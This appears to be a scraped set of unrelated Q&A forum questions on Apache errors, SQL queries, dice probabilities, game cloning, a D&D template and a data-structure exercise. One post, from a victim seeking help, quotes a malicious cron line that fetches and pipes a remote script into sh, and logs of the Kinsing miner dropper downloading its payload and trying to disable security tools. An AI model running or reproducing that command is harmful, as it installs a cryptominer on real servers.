## Apache site down after getting AH02032 error

Apache site down after getting AH02032 error, and automatically up if I restart apache or after some time(maybe 1-3 hours). The Server setup is Xampp in Windows Server 2012 Many sites are hosted on the same server with virtual host setup, All domains except the error one are working without any problem.

Error Log:

[Tue Mar 10 19:17:00.320296 2020] [:error] [pid 6776:tid 1824] [client 5.101.0.209:55464] script 'C:/xampp/htdocs/WEBSITES/************/index.php' not found or unable to stat  [Wed Mar 11 05:53:30.164225 2020] [ssl:error] [pid 6776:tid 1812] AH02032: Hostname 13.127.**.** provided via SNI and hostname btcoworld.com provided via HTTP are different 

Access Log:

may be unknown connection:

209.17.96.74 - - [11/Mar/2020:05:47:56 +0000] "GET / HTTP/1.1" 200 49594 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http:// cloudsystemnetworks.com)"  54.190.178.146 - - [11/Mar/2020:05:52:25 +0000] "GET / HTTP/1.1" 200 49594 "-" "Go-http-client/1.1"  212.92.115.37 - - [11/Mar/2020:05:53:30 +0000] "GET https:// btcoworld.com/ HTTP/1.1" 400 1015 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"  157.55.39.31 - - [11/Mar/2020:05:55:47 +0000] "GET /robots.txt HTTP/1.1" 404 26 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http:// www.bing.com/bingbot.htm)"  207.46.13.155 - - [11/Mar/2020:05:55:53 +0000] "GET /dashboard/de/faq.html HTTP/1.1" 404 26 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http:// www.bing.com/bingbot.htm)" 

So my question is how should I prevent the site from getting down, and these errors/Attacks? Thanks

## MySQL table export – where clause that ignores empty rows Vs getting whole table, which would be faster?

I’m using MySQLWorkbench to export a large table from a database into a CSV. This is what the data in the table is like:

All the rows in the table have values for date, code1, string1, code2 and string2. But, the majority of a, b and c are empty. The command I’m using for getting this data right now is:

select * from table where code1 = '0001'; 

Given that a, b and c are empty for most rows, I could also do:

select * from table where code1 = '0001' and a <> ''; 

Which of the two do you think would export this table more quickly?

Edit: I don’t care about the rows where a, b and c are empty.

## Can a file upload function be vulnerable without it the file name getting passed?

From googling, a lot of file upload vulnerabilities rely on injecting something into the filename and also rely on the picture being stored on the server, is it safe to just do a post request of the picture’s content (file-contents: ‰PNG...... via post request) then display it on the browser like, as <img src="data:image/png;base64,.....> ?

## Is it better to take the array and be Joe Average, or to roll for the odds of getting on average better scores?

I am new to D&D. I was looking at character creation for D&D 5th edition. There were a few ways one could generate ability scores. I assumed the optional method of taking the numbers 15,14,13,12,10,8 would be at least as good as the default chance method (roll 4d6, drop lowest die), and more likely, just a bit better than chance.

However, with the above method, the summed ability scores is 72, which is just a bit shy of the summed average one would obtain by rolling dice: the average ability score generated by dice should be 12.2446, which means the sum of the average ability scores is 73.4676.

What the 15,14,13,12,10,8 method accomplishes is to give some moderately high scores, but no exceptional ones, without giving any terrible scores (dice rolling typically gives at least one score of seven or less). To my mind that suggests that the rationale is that many players may find that “joe just-below-average” across the board is better than Achilles, who is amazing in some ways, but has that crazy heel weakness. He is also maybe better than “Joe Exactly-average” who has no high scores and no low ones?

Are those rationales good, i.e. is it actually better to have Joe Just-below-average-with-some-bright-spots than Joe Completely-average or Achilles?

Correction: The odds of rolling all ability scores at 8 or above are 70%, so I misspoke when I said usually one will roll one score below an 8. In fact, usually one does not, but not in a strong sense. It is no more unlikely to get a score below 8 than two coin flips coming up tails. It happens.

I provide a quick chart at the end, which makes the statistics easy to generate. As I generated the numbers quickly, I confess the possibility of error. For the 1296 possible rolls of four dice here are the number of ways you can obtain each value as the sum of the best three.

Sum of best three | Number of possible rolls that give that sum of best 3 --------------------------------------------   3                     1   4                     4   5                    10   6                    21   7                    38   8                    62   9                    91   10                  122   11                  148   12                  167   13                  172   14                  160   15                  131   16                   94   17                   54   18                   21 

## Using AnyDice to determine the odds of getting a specific number sequence on multiple dice

After a few hours trying to design the proper code in AnyDice, I had to admit I didn’t find a proper way to reach my goal, so I’m wondering if someone could give me a helping hand.

Here is the problem :

• I’m looking for odds of successfully rolling a specific combination with a multiple dice roll; for instance, the exact combination [1,2,5] with 3d6, or [4,3,3] with 3d6, or [1,2,2,6] with 4d6, etc. (The latter examples emphasize the fact that the same number could be present a variable number of times, as a double, triple, etc. — increased complexity.)
• I can easily isolate the odds for some “classic” combinations (like doubles with 2d6, triples with 3d6, etc.) but what I’m searching for is a generic formula for any combination of n numbers for nd6 (or other number of faces).

Does anyone know how to code this? I’m guessing that AnyDice can do this, but I don’t know how to tell it to. I would be grateful if someone could at least point me in the right direction!

## How do I join getting one row from the left table, no matter how many matches i get from the right table?

I have two tables – one is a data table and the other is a mapping table. I want to join them together, but only preserve the data from the right table. However, it is possible that the match table may contains multiple records that match to a single record in the right table. I cannot use a DISTINCT because there may be identical rows in the right table, and I want to preserve the same number of rows from the right-table in the result set.

Here is a sample of the data I am working with:

       DataTable                           MappingTable +-----+-----+-----+-----+           +------+------+------+------+ | ID1 | ID2 | ID3 | ID1 |           | ID1  | ID2  | ID3  | ID1  | +-----+-----+-----+-----+           +------+------+------+------+ |  1  |  1  |  1  |  1  |           |  1   | NULL | NULL | NULL | |  1  |  1  |  1  |  1  |           | NULL | NULL | NULL |  1   | |  2  |  1  |  1  |  1  |           |  3   |  3   | NULL | NULL | |  3  |  1  |  1  |  3  |           +------+------+------+------+ |  4  |  1  |  1  |  4  | |  2  |  2  |  1  |  1  | |  3  |  2  |  1  |  3  | |  3  |  3  |  1  |  3  | |  2  |  1  |  0  |  1  | |  2  |  1  |  0  |  1  | |  4  |  3  |  2  |  3  | +-----+-----+-----+-----+ 

Below is the join I am using. I wrote a custom function to handle the NULL-matching behavior, which I am including here as well.

SELECT * FROM DataTable P JOIN MappingTable M ON dbo.fNullMatchCheckIntS(P.ID1,M.ID1,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID2,M.ID2,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID3,M.ID3,0,1) = 1     AND dbo.fNullMatchCheckIntS(P.ID4,M.ID4,0,1) = 1 

CREATE FUNCTION dbo.fNullMatchCheckIntS (     @Value1 INT     ,@Value2 INT     ,@AutoMatchIfValue1IsNull BIT     ,@AutoMatchIfValue2IsNull BIT )     RETURNS BIT AS  BEGIN      DECLARE @Result BIT = 0      SELECT         @AutoMatchIfValue1IsNull = ISNULL(@AutoMatchIfValue1IsNull,0)         ,@AutoMatchIfValue2IsNull = ISNULL(@AutoMatchIfValue2IsNull,0)      IF         (@AutoMatchIfValue1IsNull = 1 AND @Value1 IS NULL)         OR (@AutoMatchIfValue2IsNull = 1 AND @Value2 IS NULL)         OR @Value1 = @Value2         OR (@Value1 IS NULL AND @Value2 IS NULL)     BEGIN         SET @Result = 1     END      RETURN @Result END 

The problem with the way the join works is that the first two rows in the DataTable match on the first two rows in the MappingTable, giving me four identical records in the result, but I only want 2. I know that I could add an identity column to the DataTable and then use DISTINCT or PARTITION to get the result I am looking for, but I would like to avoid that route if possible.

EDIT: I figured out a way to do this using EXISTS, but it looks a little ugly in my opinion. Still interested in other answers if anyone has an idea. Thanks!

SELECT * FROM DataTable D WHERE EXISTS (     SELECT D.ID1, D.ID2, D.ID3, D.ID4     FROM MappingTable M      WHERE dbo.fNullMatchCheckIntS(D.ID1,M.ID1,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID2,M.ID2,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID3,M.ID3,0,1) = 1         AND dbo.fNullMatchCheckIntS(D.ID4,M.ID4,0,1) = 1 ) 

## How closely can I copy a game without getting in trouble? [duplicate]

• How closely can a game legally resemble another? 11 answers

I’m making a clone game of Zelda, my favorite franchise, and am wondering if what I’m doing will still earn me a cease order.

Obviously I’m not using any of the names from the original series, and my game allows character creation with clothing that will allow you to look slightly like Link if you unlock it. With the skin name being something like “Woodland warrior shirt/hat/boots.

I’m also copying the UI for links awakening pretty closely and the way dungeons look is about the same.

However, I’m making all my own textures/assets from scratch.

Will I be allowed to release this game, with the title “Legend of Dungeons …”?

Main concerns are: similar UI, Font, Some skins resemble characters slightly, and textures, even though they’re all made by my hand?

## A bitcoin miner is getting install on my web server with the apache2 process

For a few weeks, someone, probably a bot keep installing a bitcoin miner on my server, I find it because it is taking all the CPU. The process name is kdevtmpfsi located at /tmp/kdevtmpfsi, there’s watch dog process kinsing located at /var/tmp/kinsing and a cronjob:

* * * * * wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1 

I keep removing the trace above, but the attacking keep re-injecting, using the same exploit which must be tie to the apache2 process because here’s what I find in my apache2 error log:

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                  Dload  Upload   Total   Spent    Left  Speed    0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0sh: 2: ulimit: error setting limit (Operation not permitted) rm: cannot remove '/var/log/syslog': Permission denied  100 27434  100 27434    0     0  4465k      0 --:--:-- --:--:-- --:--:-- 4465k chattr: Permission denied while setting flags on /tmp/ chattr: Permission denied while setting flags on /var/tmp/ ERROR: You need to be root to run this script iptables v1.6.1: can't initialize iptables table filter': Permission denied (you must be root) Perhaps iptables or your kernel needs to be upgraded. sudo: no tty present and no askpass program specified sh: 10: cannot create /proc/sys/kernel/nmi_watchdog: Permission denied sh: 11: cannot create /etc/sysctl.conf: Permission denied userdel: user 'akay' does not exist userdel: user 'vfinder' does not exist chattr: Permission denied while trying to stat /root/.ssh/ chattr: Permission denied while trying to stat /root/.ssh/authorized_keys (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) grep: Trailing backslash grep: write error: Broken pipe kill: (56): Operation not permitted kill: (25879): No such process kill: (25886): No such process (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) (Not all processes could be identified, non-owned process info  will not be shown, you would have to be root to see it all.) pkill: killing pid 807 failed: Operation not permitted pkill: killing pid 836 failed: Operation not permitted pkill: killing pid 836 failed: Operation not permitted log_rot: no process found chattr: No such file or directory while trying to stat /etc/ld.so.preload rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory rm: cannot remove '/var/tmp/lib': No such file or directory rm: cannot remove '/var/tmp/.lib': No such file or directory chattr: No such file or directory while trying to stat /tmp/lok chmod: cannot access '/tmp/lok': No such file or directory sh: 477: docker: not found sh: 478: docker: not found sh: 479: docker: not found sh: 480: docker: not found sh: 481: docker: not found sh: 482: docker: not found sh: 483: docker: not found sh: 484: docker: not found sh: 485: docker: not found sh: 486: docker: not found sh: 487: docker: not found sh: 488: docker: not found sh: 489: docker: not found sh: 490: docker: not found sh: 491: docker: not found sh: 492: docker: not found sh: 493: docker: not found sh: 494: docker: not found sh: 495: docker: not found sh: 496: docker: not found sh: 497: docker: not found sh: 498: docker: not found sh: 499: setenforce: not found sh: 500: cannot create /etc/selinux/config: Permission denied Failed to stop apparmor.service: Interactive authentication required. See system logs and 'systemctl status apparmor.service' for details. Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install disable apparmor Failed to reload daemon: Interactive authentication required. update-rc.d: error: Permission denied Failed to stop aliyun.service.service: Interactive authentication required. See system logs and 'systemctl status aliyun.service.service' for details. Failed to disable unit: Interactive authentication required. sh: echo: I/O error md5sum: /var/tmp/kinsing: No such file or directory sh: echo: I/O error sh: echo: I/O error --2020-01-10 19:03:30--  https://bitbucket.org/kondrongo12/git/raw/master/kinsing Resolving bitbucket.org (bitbucket.org)... 18.205.93.2, 18.205.93.1, 18.205.93.0, ... Connecting to bitbucket.org (bitbucket.org)|18.205.93.2|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 17072128 (16M) [application/octet-stream] Saving to: '/var/tmp/kinsing'       0K .......... .......... .......... .......... ..........  0% 1.54M 11s     50K .......... .......... .......... .......... ..........  0% 3.62M 7s    100K .......... .......... .......... .......... ..........  0% 5.97M 6s    150K .......... .......... .......... .......... ..........  1% 7.92M 5s  16500K .......... .......... .......... .......... .......... 99% 11.5M 0s  16550K .......... .......... .......... .......... .......... 99% 9.01M 0s  16600K .......... .......... .......... .......... .......... 99% 11.3M 0s  16650K .......... .......... ..                              100% 28.2M=1.5s  2020-01-10 19:03:31 (10.8 MB/s) - '/var/tmp/kinsing' saved [17072128/17072128]  sh: echo: I/O error sh: echo: I/O error`

This is in apache2 main error log file (/var/log/apache2/error.log) and no in my website error log so I am thinking that it is not related to my php code, what should I do/check next?

## Party Paladin sold his soul to an evil goddess. Is he getting a new template character now? (ie: dreadlord, blackguard, etc)

A pc died, and in an atempt to have his life spared, my group’s paladin decided to offer his soul after he had a talk with the spiritual form of Lolth. Lolth decided to bargain for a trade of his friend’s life back to normal in exchange for paladin’s soul. I don’t want to just make him go “evil” but I want to offer to him some form of template, much how a pc turns into vampire for example and gets extra new stuff from the vampire template.

I want ideas/assistance on giving him this “epic” template as a reward for this player’s bravery and selfless act of sacrifice.

## Structure for getting $| \{ a,b \} \in S : a+b \le d|$ in O(1)

I am struggling with exercise from the old algorithmic exam:
$$d$$ is const for the whole structure. Propose a structure for which you can do:

• Init(S) //called only 1 time
• Insert(x, S):: $$S := S \cup \{x\}$$ in O(log(|S|)
• Delete(x, S):: $$S := S \setminus \{x\}$$ in O(log(|S|)
• Get(S) = $$| \{ a,b \} \subset S : a+b \le d|$$ in O(1)

I am trying to that with AVL Tree with additional members like number of nodes such that $$v.value+u.value \le d$$.
Could somebody give me some hint?